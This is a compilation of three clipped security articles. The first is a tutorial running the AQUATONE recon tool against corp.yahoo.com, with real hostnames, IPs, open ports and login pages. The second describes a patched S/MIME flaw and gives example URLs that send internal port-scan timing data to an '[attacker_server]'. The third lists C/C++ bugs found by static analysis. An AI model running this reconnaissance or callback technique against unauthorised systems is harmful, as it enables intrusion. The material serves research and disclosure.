To demonstrate the usage of AQUATONE, we will perform an assessment on the corp.yahoo.com domain. I have chosen this domain because Yahoo's Bug Bounty program includes all of *.yahoo.com in their scope, so it should be acceptable to run a tool like AQUATONE against it.
Kicking off the aquatone-discover tool:

Starting aquatone-discover against corp.yahoo.com...
The first thing aquatone-discover does is to identify the authoritative name servers for the target domain. Using these name servers for resolution ensures that the information is up to date and discovery is maximised.
It also does a quick test to see if the target domain is configured to be a wildcard domain as such domains can produce a lot of false positives. If the domain turns out to be a wildcard, it will identify the possible wildcard responses and filter them out. corp.yahoo.com is luckily not configured to be wildcard.
After name server and wildcard detection, it proceeds to ask each subdomain collector module for potential subdomains under the target domain. aquatone-discover ships with following collector modules:
· Dictionary brute force (see dictionary here)
· DNSDB.org
· Google Transparency Report
· HackerTarget
· Netcraft
· Shodan (requires API key)
· ThreatCrowd
· VirusTotal (requires API key)
The collector modules returned a total of 12.282 potential subdomains that aquatone-discover attempts to resolve.

aquatone-discover resolving subdomains. Hitting Enter will output a progress report.
After a while, aquatone-discover has run through the list and uncovered a total of 1.958 live subdomains. It also analyzed the IPs and printed a list of potential IP subnet ranges which can be used for further probing:

aquatone-discover uncovered a total of 1.958 live subdomains.
It also wrote the discovered hosts to files in the aquatone assessment directory that is automatically created for the target domain. hosts.txt contains a comma-separated list of domains and their IP:
224-si1.corp.yahoo.com,207.126.224.4
224-si2.corp.yahoo.com,207.126.224.5
227-si1.corp.yahoo.com,207.126.227.4
227-si2.corp.yahoo.com,207.126.227.7
232-si1.corp.yahoo.com,207.126.232.4
232-si2.corp.yahoo.com,207.126.232.5
351-si1.corp.yahoo.com,216.145.51.4
351-si2.corp.yahoo.com,216.145.51.96
998-dmz-foundry1.corp.yahoo.com,216.145.48.25
998-dmz-foundry2.corp.yahoo.com,216.145.48.39
aa-dc1.wpe.stg.test.corp.yahoo.com,98.137.139.80
aa-dc2.wpe.stg.test.corp.yahoo.com,98.137.139.81
aaa1-1-a-gci.corp.yahoo.com,216.145.50.84
aaa1-2-a-gci.corp.yahoo.com,216.145.50.87
aahost1.stg.test.corp.yahoo.com,98.137.139.82
aahost2.stg.test.corp.yahoo.com,98.137.139.83
aahost3.stg.test.corp.yahoo.com,98.137.139.84
aahost4.stg.test.corp.yahoo.com,98.137.139.85
aape01.stg.test.corp.yahoo.com,98.137.139.93
aavm1.stg.test.corp.yahoo.com,98.137.139.87
...
This file can be sliced and diced with common command line tools and loaded into other tools that you might use. hosts.json contains the same information in JSON format and is used by the other AQUATONE tools but can also be useful if you want to use the information with custom scripts.
Phase 2: Scanning
Having discovered a bunch of subdomains on corp.yahoo.com is already quite useful. We could stop here and start poking around with other tools or manual browsing, but lets instead make aquatone-scan do the hard work for us of finding which hosts might serve web content:

aquatone-scan finding open ports on hosts.
aquatone-scan found a bunch of open HTTP ports across the different hosts. By default, it will scan the following TCP ports: 80, 443, 8000, 8080 and 8443 which are all very common ports for web services. You can of course change this to your own list of ports with the --ports option, or specify one of the built-in list aliases:
· small: 80, 443
· medium: 80, 443, 8000, 8080, 8443 (same as default)
· large: 80, 81, 443, 591, 2082, 2087, 2095, 2096, 3000, 8000, 8001, 8008, 8080, 8083, 8443, 8834, 8888
· huge: 80, 81, 300, 443, 591, 593, 832, 981, 1010, 1311, 2082, 2087, 2095, 2096, 2480, 3000, 3128, 3333, 4243, 4567, 4711, 4712, 4993, 5000, 5104, 5108, 5800, 6543, 7000, 7396, 7474, 8000, 8001, 8008, 8014, 8042, 8069, 8080, 8081, 8088, 8090, 8091, 8118, 8123, 8172, 8222, 8243, 8280, 8281, 8333, 8443, 8500, 8834, 8880, 8888, 8983, 9000, 9043, 9060, 9080, 9090, 9091, 9200, 9443, 9800, 9981, 12443, 16080, 18091, 18092, 20720, 28017
Using a larger port list will of course let you discover more web services, but it will also increase the time it takes for aquatone-scan to finish.
aquatone-scan created two new files in the assessment directory for corp.yahoo.com: open_ports.txt is a simple comma-separated list of hosts and their open ports:
117.104.189.54,443
124.108.98.253,443
124.108.98.254,443
203.83.249.10,443
203.83.249.4,443
203.83.249.5,443
203.83.249.8,443
203.83.249.9,443
209.131.62.228,443
209.131.62.229,443
209.131.62.230,443
209.131.62.231,443
216.145.48.148,443
216.145.48.149,443
216.145.48.150,443
216.145.48.151,443
216.145.48.152,443
216.145.48.153,443
72.30.2.113,443,80
77.238.184.150,80
98.136.163.125,80,443
98.136.205.152,443,80
98.136.205.216,443
urls.txt contains a list of URLs that can be used to request the web pages on the open ports:
http://bomgar.corp.yahoo.com/
http://bouncer.gh.corp.yahoo.com/
http://buzz.corp.yahoo.com/
http://cloud.corp.yahoo.com/
http://fifa.corp.yahoo.com/
http://gemini.corp.yahoo.com/
http://guest.corp.yahoo.com/
http://insights.corp.yahoo.com/
http://ipv6.corp.yahoo.com/
http://marketingcentral.corp.yahoo.com/
http://messenger.corp.yahoo.com/
http://request.corp.yahoo.com/
http://sas.corp.yahoo.com/
http://services.corp.yahoo.com/
http://shop.corp.yahoo.com/
http://si.corp.yahoo.com/
http://wireless.corp.yahoo.com/
https://bomgar.corp.yahoo.com/
https://bouncer.gh.corp.yahoo.com/
https://fast.corp.yahoo.com/
...
These files are used for the next phase of the assessment but are also convenient for loading into other tools like EyeWitness or slicing and dicing with grep, cut, awk, etc.
Phase 3: Gathering
We now know about subdomains and open ports on *.corp.yahoo.com, it's time to use aquatone-gather to collect HTTP responses and screenshots and compile it all into a nice report:

aquatone-gather crunching through the web pages.
aquatone-gather loaded data from the files created by the previous AQUATONE tools and started requesting URLs to collect HTTP responses and screenshots. Behind the scenes, it uses Nightmare for all the heavy lifting of requesting and screenshotting.
Unfortunately Nightmare, and any other browser automation tool, is a bit flaky and will fail on some of the page processings as can be seen in the screenshot. I think the failure rate is acceptable, but something to be aware of. 
After a little while, it finishes processing all the web pages:

aquatone-gather finished processing web pages.
It prints a short summary of successful vs. failed page processings and a list of generated report pages, but this is far from the only files that aquatone-gather generated. Navigating to the assessment folder, we can see three new folders: headers, html, report and screenshots.
The headers folder contains text files with response headers from all the page visits:
root@kali:~/aquatone/corp.yahoo.com/headers# cat bomgar_corp_yahoo_com__98_136_205_152__443.txt
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Date: Wed, 14 Jun 2017 12:22:01 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=15, max=100
Pragma: no-cache
Server: Bomgar
Set-Cookie: ns_s=c9b9309296cf5babeb7e193125cb2cf0f3c7f13c; path=/; secure; HttpOnly
Strict-Transport-Security: max-age=31536000
Transfer-Encoding: chunked
X-Ua-Compatible: IE=edge
root@kali:~/aquatone/corp.yahoo.com/headers#
These files can be very useful with grep and other tools to quickly find information on server technology and other things that are interesting from a security point of view.
The html folder contains HTML bodies from all the page visits:
root@kali:~/aquatone/corp.yahoo.com/html# cat bomgar_corp_yahoo_com__98_136_205_152__443.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-us">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>Yahoo! Global Service Desk LiveChat</title>
	<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" />
<link href="/content/common.css" rel="stylesheet" type="text/css" />
<link href="/content/public.css" rel="stylesheet" type="text/css" />
<link href="/content/mobile.css" rel="stylesheet" type="text/css" />

</head>
<body>
<div id="container">

<div id="header" class="contentBox">
...
<div style="display: none">
<div style="margin: 1em;">
	<a href="http://www.bomgar.com" class="inverse" target="_blank">Secure Remote Desktop Access by Bomgar</a>

</div>
</div>

</div>

</body>
</html>
root@kali:~/aquatone/corp.yahoo.com/html#
There are tons of things that these files can be used for. More on this later.
The screenshots folder contains, as the name might suggest, PNG screenshots of all the page visits:
root@kali:~/aquatone/corp.yahoo.com/screenshots# ls
bomgar_corp_yahoo_com__98_136_205_152__443.png
bomgar_corp_yahoo_com__98_136_205_152__80.png
bouncer_gh_corp_yahoo_com__72_30_2_113__443.png
bouncer_gh_corp_yahoo_com__72_30_2_113__80.png
buzz_corp_yahoo_com__77_238_184_150__80.png
cloud_corp_yahoo_com__77_238_184_150__80.png
...
si_corp_yahoo_com__77_238_184_150__80.png
vpn1-1-gci_eglbp_corp_yahoo_com__203_83_249_4__443.png
vpn1-1-ptn_corp_yahoo_com__216_145_48_151__443.png
vpn1-1-ptn_eglbp_corp_yahoo_com__203_83_249_10__443.png
vpn1-2-gci_sv6_corp_yahoo_com__209_131_62_228__443.png
vpn-1-gci_hongkong_corp_yahoo_com__117_104_189_54__443.png
vpn2-1-gci_eglbp_corp_yahoo_com__203_83_249_5__443.png
vpn2-1-ptn_corp_yahoo_com__216_145_48_152__443.png
vpn2-2-gci_sv6_corp_yahoo_com__209_131_62_229__443.png
vpn-2-gci_sv6_corp_yahoo_com__209_131_62_230__443.png
wireless_corp_yahoo_com__77_238_184_150__80.png
root@kali:~/aquatone/corp.yahoo.com/screenshots#
You can of course browse these screenshots directly in the folder, but it's probably more useful to analyse them by opening the generated HTML report page:

Browsing the AQUATONE report (click to see animated Gif).
The report lines up the screenshots with response headers so that you quickly scan through the collected information for interesting pages. AQUATONE will highlight headers that may increase security with a green background and headers that may present a security issue with a red background. Before you go on a bug bounty spree with this, please remember that god strangles a puppy every time someone reports missing X-Frame-Options. ;)
CLI tricks
The generated report is the final product of AQUATONE, but lots of useful stuff can be done with all the raw files that are generated in the assessment folder, so let's wrap up this blog post with some examples of what you can do:
Get server technology stats
root@kali:~/aquatone/corp.yahoo.com/headers# cat * | grep 'Server:' | sort | uniq -c | sort -nr
     13 Server: ATS
      6 Server: Bomgar
      1 Server: AkamaiGHost
root@kali:~/aquatone/corp.yahoo.com/headers#
Find more subdomains
root@kali:~/aquatone/corp.yahoo.com/html# cat * | egrep -o '[a-z0-9\-\_\.]+\.corp\.yahoo\.com' | sort -u
bomgar.corp.yahoo.com
bouncer.by.corp.yahoo.com
fast.corp.yahoo.com
it.corp.yahoo.com
request.corp.yahoo.com
services.corp.yahoo.com
root@kali:~/aquatone/corp.yahoo.com/html#
Find HTML comments
root@kali:~/aquatone/corp.yahoo.com/html# cat * | egrep -o '<!--.*-->'
<!--//-->
<!-- Begin comScore Tag -->
<!-- bouncer02.gh.bf1.yahoo.com Wed Jun 14 12:22:09 UTC 2017 -->
<!-- bouncer12-os.gh.bf2.yahoo.com Wed Jun 14 12:22:29 UTC 2017 -->
<!-- #doc4 -->
<!-- .dw1 -->
<!-- .dw4 -->
...
<!-- /.shmod -->
<!-- SpaceID=0 timeout (ads1) -->
<!-- src2.ops.ir2.yahoo.com Wed Jun 14 12:22:15 UTC 2017 -->
<!-- src4.ops.ir2.yahoo.com Wed Jun 14 12:21:44 UTC 2017 -->
<!-- src4.ops.ir2.yahoo.com Wed Jun 14 12:21:51 UTC 2017 -->
<!-- src4.ops.ir2.yahoo.com Wed Jun 14 12:22:27 UTC 2017 -->
<!-- src6.ops.ir2.yahoo.com Wed Jun 14 12:21:57 UTC 2017 -->
<!-- src6.ops.ir2.yahoo.com Wed Jun 14 12:22:15 UTC 2017 -->
<!-- src6.ops.ir2.yahoo.com Wed Jun 14 12:22:36 UTC 2017 -->
<!-- URL: /::ProfilerTotal:557:1497442917838::Page Creation:40:1497442917838::user_ups:0:1497442917844::ydht_time:1:1497442917845::Maple Execution:518:1497442917878::Maple WS:41:1497442917879::SHAdModule:457:1497442917921::SHLeftNavigationModule:7:1497442918378::SHHeroModule:0:1497442918385::SHBrowseShoppingModule:5:1497442918385::SHSocialNewBrowseModule:0:1497442918390::SHCopyrightModule:1:1497442918391:: -->
<!-- web23.shop.bf1.yahoo.com -->
<!-- web23.shop.bf1.yahoo.com Wed Jun 14 12:21:57 UTC 2017 -->
Find pages with password fields
root@kali:~/aquatone/corp.yahoo.com/html# grep 'type="password"' *
bouncer_gh_corp_yahoo_com__72_30_2_113__80.html: <dd><input class="input-large" name="pass_word" type="password" id="pass_word" maxlength="64"   autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false" ></dd>
fast_corp_yahoo_com__98_136_205_216__443.html: <dd><input class="input-large" name="pass_word" type="password" id="pass_word" maxlength="64"   autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false" ></dd>
root@kali:~/aquatone/corp.yahoo.com/html#
Get hosts listening on port 443
root@kali:~/aquatone/corp.yahoo.com# cat open_ports.txt | grep ',443' | cut -d "," -f 1
117.104.189.54
124.108.98.253
124.108.98.254
203.83.249.10
203.83.249.4
...
216.145.48.153
72.30.2.113
98.136.163.125
98.136.205.152
98.136.205.216
root@kali:~/aquatone/corp.yahoo.com#
Check HTTPS hosts for Heartbleed
root@kali:~/aquatone/corp.yahoo.com# grep https urls.txt | cut -d '/' -f 3 > /tmp/targets.lst
root@kali:~/aquatone/corp.yahoo.com# sslscan --targets=/tmp/targets.lst --no-ciphersuites --no-fallback --no-renegotiation --no-compression --no-check-certificate
Version: 1.11.9-static
OpenSSL 1.0.2l-dev  xx XXX xxxx

Testing SSL server bomgar.corp.yahoo.com on port 443 using SNI name

  Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed



Testing SSL server bouncer.gh.corp.yahoo.com on port 443 using SNI name
...
Testing SSL server vpn2-2-gci.sv6.corp.yahoo.com on port 443 using SNI name

  Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed

root@kali:~/aquatone/corp.yahoo.com#
That's it! I hope you will take AQUATONE on a test flight and let me know what you think. You can find installation instructions in the project README.
Copyright © 2017 Michael Henriksen · Twitter · GitHub · E-mail (PGP) · Powered by nanoc
﻿http://blog.nruns.com/blog/2013/11/12/A-portscan-by-email-Alex/ 
A portscan by email – HTTP over X.509 revisited - n.runs security team
Created:
11/13/2013 9:23:34 AM
Updated:
11/13/2013 9:23:34 AM
Author:

Tags:
Email port


A Portscan by Email – HTTP Over X.509 Revisited 
Nov 12th, 2013 
The history 
Design bugs are my favourite bugs. About six years ago, while I was working in the Public Key Infrastructure area, I identified such a bug in the X.509 certificate chain validation process (RFC 5280 ). By abusing the authority information access id-ad-caissuers extension, it allowed for triggering (blind) HTTP requests when (untrusted, attacker-controlled) certificates were validated. Microsoft was one of the few vendors who actually implemented that part of the standard and Microsoft CryptoAPI was vulnerable against it. Corresponding advisories (Office 2007 , Windows Live Mail and Outlook ) and a whitepaper were released in April 2008.
This issue was particularly interesting because it could be triggered by an S/MIME-signed email when opened in Microsoft Outlook (or other Microsoft mail clients using the CryptoAPI functionality). This allowed attackers to trigger arbitrary HTTP requests (also to internal networks) but not gaining any information about the result of the request. Also, because the request was done using CryptoAPI and not in a browser, it was impossible to exploit any kind of Cross Site Request Forgery issues in web applications, so the impact of the vulnerability was quite limited. In fact, I would consider this mostly privacy issue because the most interesting application was to find out that an email had been opened (and from which IP address and with which version of CryptoAPI), something that was otherwise (to my knowledge) pretty much impossible in Outlook (emailprivacytester.com , a very interesting service with many tests for email privacy issues seems to confirm that).
Revisiting the issue 
In May 2012, I revisited the issue to see if something that I had been thinking about previously could be implemented – leveraging the issue to do port scanning on internal hosts by alternating between internal and external HTTP requests and measuring the timing distance on the (attacker-controlled) external host. It turned out that in a specific combination of nested S/MIME signatures with particularly long URLs (about 3500 characters, don’t ask my why exactly they are needed), one can actually observe a difference in timing between an open port or a closed port.
To test this, URLs that are triggered by the email would for example look similar to the following:
1. http://[attacker_server]/record_start?port=1&[3500*A]
2. http://[internal_target_ip]:1/[3500*A]
3. http://[attacker_server]/record_stop?port=1&[3500*A]
The scripts »record_start« and »record_stop« on the server are used to measure the time difference between the two external requests (1 and 3), with which we can tell (roughly) how long the internal request to port 1 on the internal target IP took. Testing showed that in case the port is open, the time difference measured between the two external requests was significantly below one second, while if the port was closed, it was a bit above one second.
Unfortunately, we are not able to observe this for all possible ports. The timing difference for some HTTP request to a list of well-known ports was short regardless of whether they are open or closed, making it impossible to determine their state. My current assumption is that this is because the HTTP client library used by CryptoAPI does not allow connections on those ports to avoid speaking HTTP(S) on them (similar to browsers which typically make it impossible to speak HTTP on port 25).
A single email can be used to scan the 50 most-used (as determined by nmap ) ports on a single host. A proof-of-concept which scans 127.0.0.1 has been implemented and can be tried out by sending an empty email to smime-http-portscan@klink.name . You will receive an automatic reply with an S/MIME-signed message which when opened will trigger a number of HTTP requests to ports on local host and a data logger running on my webserver. After a few minutes, you can check on a web interface to see which ports are open and which ones are closed. Sometimes, your Exchange mail server might prevent the test email from being delivered though because it contains a lot of nested MIME parts (try again with a more relaxed mailserver then ;–)).
Problem solved 
After repeatedly bugging the Microsoft Security Response team about the issue (and accidentally discovering an exploitable WriteAV issue when too many S/MIME signatures were used – MS13-068 , fixed in the October 2013 patch day), this has now been fixed with the November 2013 patch day release (CVE-2013-3870). In case the id-ad-caissuers functionality is actually needed in an organization, the functionality can be turned on again, though – with the risk of still being vulnerable to this issue.
Written by 
Alexander Klink
 
﻿http://www.gamedev.net/page/resources/_/technical/general-programming/100-bugs-in-open-source-cc-projects-r2886 
100 bugs in Open Source C/C++ projects - General Programming - Articles - Articles - GameDev.net
Created:
5/28/2012 9:47:08 PM
Updated:
5/28/2012 9:47:08 PM
Author:

Tags:
C++ programming static bughunting


Categories (See All)
· Technical 
o Game Programming
o General Programming
o Graphics Programming and Theory
o DirectX and XNA
o OpenGL
o Multiplayer and Network Programming
o Artificial Intelligence
o Math and Physics
o Mobile Development
o APIs and Tools
· Creative 
o Game Design
o Music and Sound
o Visual Arts
· Business 
o Event Coverage
o Breaking Into the Industry
o Business and Law
o Interviews
o Production and Management
Recent Resources
· Ravenwood Fair Postmortem 
May 01 2012 02:11 PM | 0 Comments
· Autodesk Media Summit 2012 
Apr 18 2012 02:19 PM | 0 Comments
· 100 bugs in Open Source C/C++ projects 
Mar 16 2012 05:38 AM | 2 Comments
· Using Animated Pieces in a Board-based Game with XNA 4.0 
Feb 24 2012 11:17 PM | 0 Comments
· Getting Started with Audacity 
Feb 24 2012 10:04 PM | 1 Comments
· Peter Molyneux: How to get a job in games development • Interview • Eurogamer.net 
Feb 24 2012 11:17 AM | 0 Comments
· How we Built an iOS game on PC 
Feb 23 2012 07:07 PM | 6 Comments
Show more » | View all recent resources»
 0
100 bugs in Open Source C/C++ projects
     
By Andrey Karpov | Published Mar 16 2012 10:28 AM in General Programming
· Article
· Comments (2)
· Revisions (0)
· Related Stuff (0)

 


Abstract

This article demonstrates capabilities of the static code analysis methodology. The readers are offered to study the samples of one hundred errors found in open-source projects in C/C++. All the errors have been found with the PVS-Studio static code analyzer.

Introduction

We won't tire you programmers by making you read texts and will pass to the error samples right away. Those who want to know what static code analysis is, please follow the link. Those who want to know what PVS-Studio is and download the trial version, see this page: http://www.viva64.com/en/pvs-studio/.

Yes, one more thing. Please see our post "FAQ for those who have read our articles".

Samples of errors detected in various open-source projects

The samples of detected errors will be divided into several groups. This division is rather relative. One and the same error can often be referred to misprints and incorrect array handling at a time.

Of course, we have taken just a few errors from each of the projects. If we described all the found defects, it would be a reference book. This is the list of analyzed projects: 
· Apache HTTP Server - http://httpd.apache.org/
· Audacity - http://audacity.sourceforge.net/
· Chromium - http://www.chromium.org/
· Clang - http://clang-analyzer.llvm.org/
· CMake - http://www.cmake.org/
· Crystal Space 3D SDK - http://www.crystalsp.../main/Main_Page
· Emule - http://www.emule.com/
· FAR Manager - http://www.farmanager.com/
· FCE Ultra - http://fceux.com/web/home.html
· Fennec Media Project - http://fennec.sourceforge.net/
· G3D Content Pak - http://sourceforge.n...ojects/g3d-cpp/
· IPP Samples - http://www.viva64.com/go.php?url=449
· Lugaru - http://www.wolfire.com/lugaru
· Miranda IM - http://www.miranda-im.org/
· MySQL - http://www.mysql.com/
· Newton Game Dynamics - http://newtondynamic...orum/newton.php
· Notepad++ - http://notepad-plus-plus.org/
· Pixie - http://www.renderpixie.com/
· PNG library - http://libpng.org/pub/png/
· QT - http://qt.nokia.com/products/
· ReactOS - http://www.reactos.org/en/
· Shareaza - http://www.shareaza.com/
· SMTP Client with SSL/TLS - http://www.codeproje...P/smtp_ssl.aspx
· StrongDC++ - http://strongdc.sour...ex.php?lang=eng
· Swiss-Army Knife of Trace - http://www.codeproje.../tracetool.aspx
· TortoiseSVN - http://tortoisesvn.net/
· Ultimate TCP/IP - http://www.codeproje...imateTCPIP.aspx
· VirtualDub - http://www.virtualdub.org/
· WinDjView - http://windjview.sourceforge.net/
· WinMerge - http://winmerge.org/
· Wolfenstein 3D - http://en.wikipedia..../Wolfenstein_3D
· Crypto++ - http://www.cryptopp.com/
· Quake-III-Arena - https://github.com/i...Quake-III-Arena
· And some others.
Errors of array and string handling

Errors of array and string handling are the largest class of defects in C/C++ programs. This is the price for the capability of effective low-level memory handling available to programmers. In the article we will show just a small part of these errors found by the PVS-Studio analyzer. But we think any C/C++ programmer understands how numerous and insidious they are.



Example 1.Wolfenstein 3D project. Only part of an object is cleared.

void CG_RegisterItemVisuals( int itemNum ) {
  ...
  itemInfo_t *itemInfo;
  ...
  memset( itemInfo, 0, sizeof( &itemInfo ) );
  ...
}

The error was found through the V568 diagnostic: It's odd that the argument of sizeof() operator is the '&itemInfo' expression. cgame cg_weapons.c 1467.

The sizeof() operator calculates the size of the pointer instead of the 'itemInfo_t' structure's size. It is "sizeof(*itemInfo)" that must be written.



Example 2.Wolfenstein 3D project. Only part of a matrix is cleared.

ID_INLINE mat3_t::mat3_t( float src[ 3 ][ 3 ] ) {
  memcpy( mat, src, sizeof( src ) );
}

The error was found through the V511: The sizeof() operator returns size of the pointer, and not of the array, in 'sizeof(src)' expression. Splines math_matrix.h 94

Usually programmers expect 'sizeof(src)' to return the size of an array equal to "3*3*sizeof(float)" bytes. But according to the language standard, 'src' is just a pointer, not an array. Thus, the matrix will be copied only partly. The 'memcpy' function will copy 4 or 8 bytes (the pointer size) depending on whether the code is 32-bit or 64-bit.

If you want the whole matrix to be copied, you may pass a reference to the array into the function. This is the correct code:

ID_INLINE mat3_t::mat3_t( float (&src)[3][3] )
{
  memcpy( mat, src, sizeof( src ) );
}



Example 3.FAR Manager project. Only part of an array is cleared.

struct TreeItem
{
  int *Last;
  size_t LastCount;
  ...
  void Clear()
  {
        strName.Clear();
        memset(Last, 0, sizeof(Last));
        Depth=0;
  }
};

The error was found through the V579: diagnostic The memset function receives the pointer and its size as arguments. It is probably a mistake. Inspect the third argument. far treelist.hpp 66

Most likely, there is a missing operation of multiplication by the number of items being cleared, and the code must look as follows: "memset(Last, 0, LastCount * sizeof(Last));".



Example 4.ReactOS project. Incorrect calculation of a string length.

static const PCHAR Nv11Board = "NV11 (GeForce2) Board";
static const PCHAR Nv11Chip = "Chip Rev B2";
static const PCHAR Nv11Vendor = "NVidia Corporation";

BOOLEAN
IsVesaBiosOk(...)
{
  ...
  if (!(strncmp(Vendor, Nv11Vendor, sizeof(Nv11Vendor))) &&
          !(strncmp(Product, Nv11Board, sizeof(Nv11Board))) &&
          !(strncmp(Revision, Nv11Chip, sizeof(Nv11Chip))) &&
          (OemRevision == 0x311))
  ...
}

The error was found through the V579 diagnostic: The strncmp function receives the pointer and its size as arguments. It is probably a mistake. Inspect the third argument. vga vbe.c 57

Calls of the 'strncmp' function in this code compare only the first several characters, not whole strings. The error here is this: the sizeof() operator, absolutely inappropriate in this situation, is used to calculate string lengths. The sizeof() operator actually calculates the pointer size instead of the number of bytes in a string.

What is the most unpleasant and insidious about this error is that this code almost works as intended. In 99% of cases, comparison of the first several characters is enough. But the remaining 1% can bring you much fun and long debugging.



Example 5.VirtualDub project. Array overrun (explicit index).

struct ConvoluteFilterData {
long m[9];
long bias;
void *dyna_func;
DWORD dyna_size;
DWORD dyna_old_protect;
BOOL fClip;
};

static unsigned long __fastcall do_conv(
  unsigned long *data,
  const ConvoluteFilterData *cfd,
  long sflags, long pit)
{
  long rt0=cfd->m[9], gt0=cfd->m[9], bt0=cfd->m[9];
  ...
}

The code was found through the V557 diagnostic: Array overrun is possible. The '9' index is pointing beyond array bound. VirtualDub f_convolute.cpp 73

It is not a real error, but good diagnostic. Explanation: http://www.viva64.com/go.php?url=756.



Example 6.CPU Identifying Tool project. Array overrun (index in a macro).

#define FINDBUFFLEN 64  // Max buffer find/replace size
...
int WINAPI Sticky (...)
{
  ...
  static char findWhat[FINDBUFFLEN] = {'\0'};
  ...
  findWhat[FINDBUFFLEN] = '\0';
  ...
}

The error was found through the V557 diagnostic: Array overrun is possible. The '64' index is pointing beyond array bound. stickies stickies.cpp 7947

This error is a kind of the previous one. The terminal null is written outside the array. The correct code is: "findWhat[FINDBUFFLEN - 1] = '\0';".



Example 7.Wolfenstein 3D project. Array overrun (incorrect expression).

typedef struct bot_state_s
{
  ...
  char teamleader[32]; //netname of the team leader
  ...
}  bot_state_t;

void BotTeamAI( bot_state_t *bs ) {
  ...
  bs->teamleader[sizeof( bs->teamleader )] = '\0';
  ...
}

The error was found through the V557 diagnostic: Array overrun is possible. The 'sizeof (bs->teamleader)' index is pointing beyond array bound. game ai_team.c 548

Here is one more example of an array overrun when using an explicitly declared index. These samples show that such simple at first sight errors are much more widely-spread than it may seem.

The terminal null is written outside the 'teamleader' array. This is the correct code:

bs->teamleader[
  sizeof(bs->teamleader) / sizeof(bs->teamleader[0]) - 1
  ] = '\0';



Example 8.Miranda IM project. Only part of a string is copied.

typedef struct _textrangew
{
  CHARRANGE chrg;
  LPWSTR lpstrText;
} TEXTRANGEW;

const wchar_t* Utils::extractURLFromRichEdit(...)
{
  ...
  ::CopyMemory(tr.lpstrText, L"mailto:", 7);
  ...
}

The error was found through the V512 diagnostic: A call of the 'memcpy' function will lead to a buffer overflow or underflow. tabsrmm utils.cpp 1080

If Unicode-strings are used, one character occupies 2 or 4 bytes (depending on the data model being used in compiler) instead of one byte. Unfortunately, programmers easily forget about it, and you can often see defects like our example in programs.

The 'CopyMemory' function will copy only part of the L"mailto:" string since it handles bytes, not characters. You can fix the code by using a more appropriate function for string copying or, at least, multiplying number 7 by sizeof(wchar_t).



Example 9.CMake project. Array overrun inside a loop.

static const struct {
  DWORD   winerr;
  int    doserr;
} doserrors[] =
{
  ...
};

static void
la_dosmaperr(unsigned long e)
{
  ...
  for (i = 0; i < sizeof(doserrors); i++)
  {
        if (doserrors[i].winerr == e)
        {
          errno = doserrors[i].doserr;
          return;
        }
  }
  ...
}

The error was found through the V557 diagnostic: Array overrun is possible. The value of 'i' index could reach 367. cmlibarchive archive_windows.c 1140, 1142

The error handler itself contains an error. The sizeof() operator returns the array size in bytes and not the number of items inside it. As a result, the program will try to search much more items than it should in the loop. This is the correct loop:

for (i = 0; i < sizeof(doserrors) / sizeof(*doserrors); i++)



Example 10.CPU Identifying Tool project. A string is printed into itself.

char * OSDetection ()
{
  ...
  sprintf(szOperatingSystem,
                  "%sversion %d.%d %s (Build %d)",
                  szOperatingSystem,
                  osvi.dwMajorVersion,
                  osvi.dwMinorVersion,
                  osvi.szCSDVersion,
                  osvi.dwBuildNumber & 0xFFFF);
  ...
  sprintf (szOperatingSystem, "%s%s(Build %d)",
                   szOperatingSystem, osvi.szCSDVersion,
                   osvi.dwBuildNumber & 0xFFFF);
  ...
}

This error was found through the V541 diagnostic: It is dangerous to print the string 'szOperatingSystem' into itself. stickies camel.cpp 572, 603

An attempt of formatted printing of a string into itself can lead to bad consequences. The result of executing this code depends on the input data, and you cannot predict what will happen. Most likely, the result will be a meaningless string or an Access Violation will occur.

This error can be referred to the category "code vulnerabilities". In some programs, by feeding special data to code, you can exploit such code fragments to cause a buffer overflow or other effects an intruder needs.



Example 11.FCE Ultra project. A string gets less memory than needed.

int FCEUI_SetCheat(...)
{
  ...
  if((t=(char *)realloc(next->name,strlen(name+1))))
  ...
}

The error was found through the V518 diagnostic: The 'realloc' function allocates strange amount of memory calculated by 'strlen(expr)'. Perhaps the correct variant is 'strlen(expr) + 1'. fceux cheat.cpp 609

This error is caused by a misprint. It is the 'name' pointer instead of the "name+1" expression that must be the argument of the strlen() function. As a result, the realloc function allocates 2 bytes less memory than needed: one byte is lost because 1 is not added to the string length; another byte is lost because the 'strlen' function calculates the string length skipping the first character.



Example 12.Notepad++ project. Partial array clearing.

#define CONT_MAP_MAX 50
int _iContMap[CONT_MAP_MAX];
...
DockingManager::DockingManager()
{
  ...
  memset(_iContMap, -1, CONT_MAP_MAX);
  ...
}

The error was found through the V512 diagnostic: A call of the memset function will lead to a buffer overflow or underflow. notepadPlus DockingManager.cpp 60

That's one more example of how the number of array items is mixed up with an array size. A multiplication by sizeof(int) is missing.



We can go on and on showing you errors of array handling we have found in various programs. But we have to stop somewhere.



Undefined behavior

A bit of theory at first.

Undefined behavior is a property of certain programming languages (most prominent in C and C++) to produce a result in certain situations that depends on compiler implementation or specified optimization switches. In other words, the specification does not define the language's behavior in any possible situations but says: "at A condition, the result of B operation is undefined". It is considered a mistake to allow such a situation in your program even if it is executed well at some particular compiler. Such a program will not be crossplatform and may cause failures on a different computer, operating system and even at different compiler's settings.

A sequence point in programming is any point in a program where it is guaranteed that the side effects of all the previous calculations have already emerged while there are no side effects of the following calculations yet. To learn more about sequence points and cases of undefined behavior related to sequence points, see this post: http://www.viva64.com/en/t/0065/.



Example 1.Chromium project. Incorrect use of smart pointer.

void AccessibleContainsAccessible(...)
{
  ...
  auto_ptr<VARIANT> child_array(new VARIANT[child_count]);
  ...
}

The error was found through the V554 diagnostic: Incorrect use of auto_ptr. The memory allocated with 'new []' will be cleaned using 'delete'. interactive_ui_tests accessibility_win_browsertest.cc 171

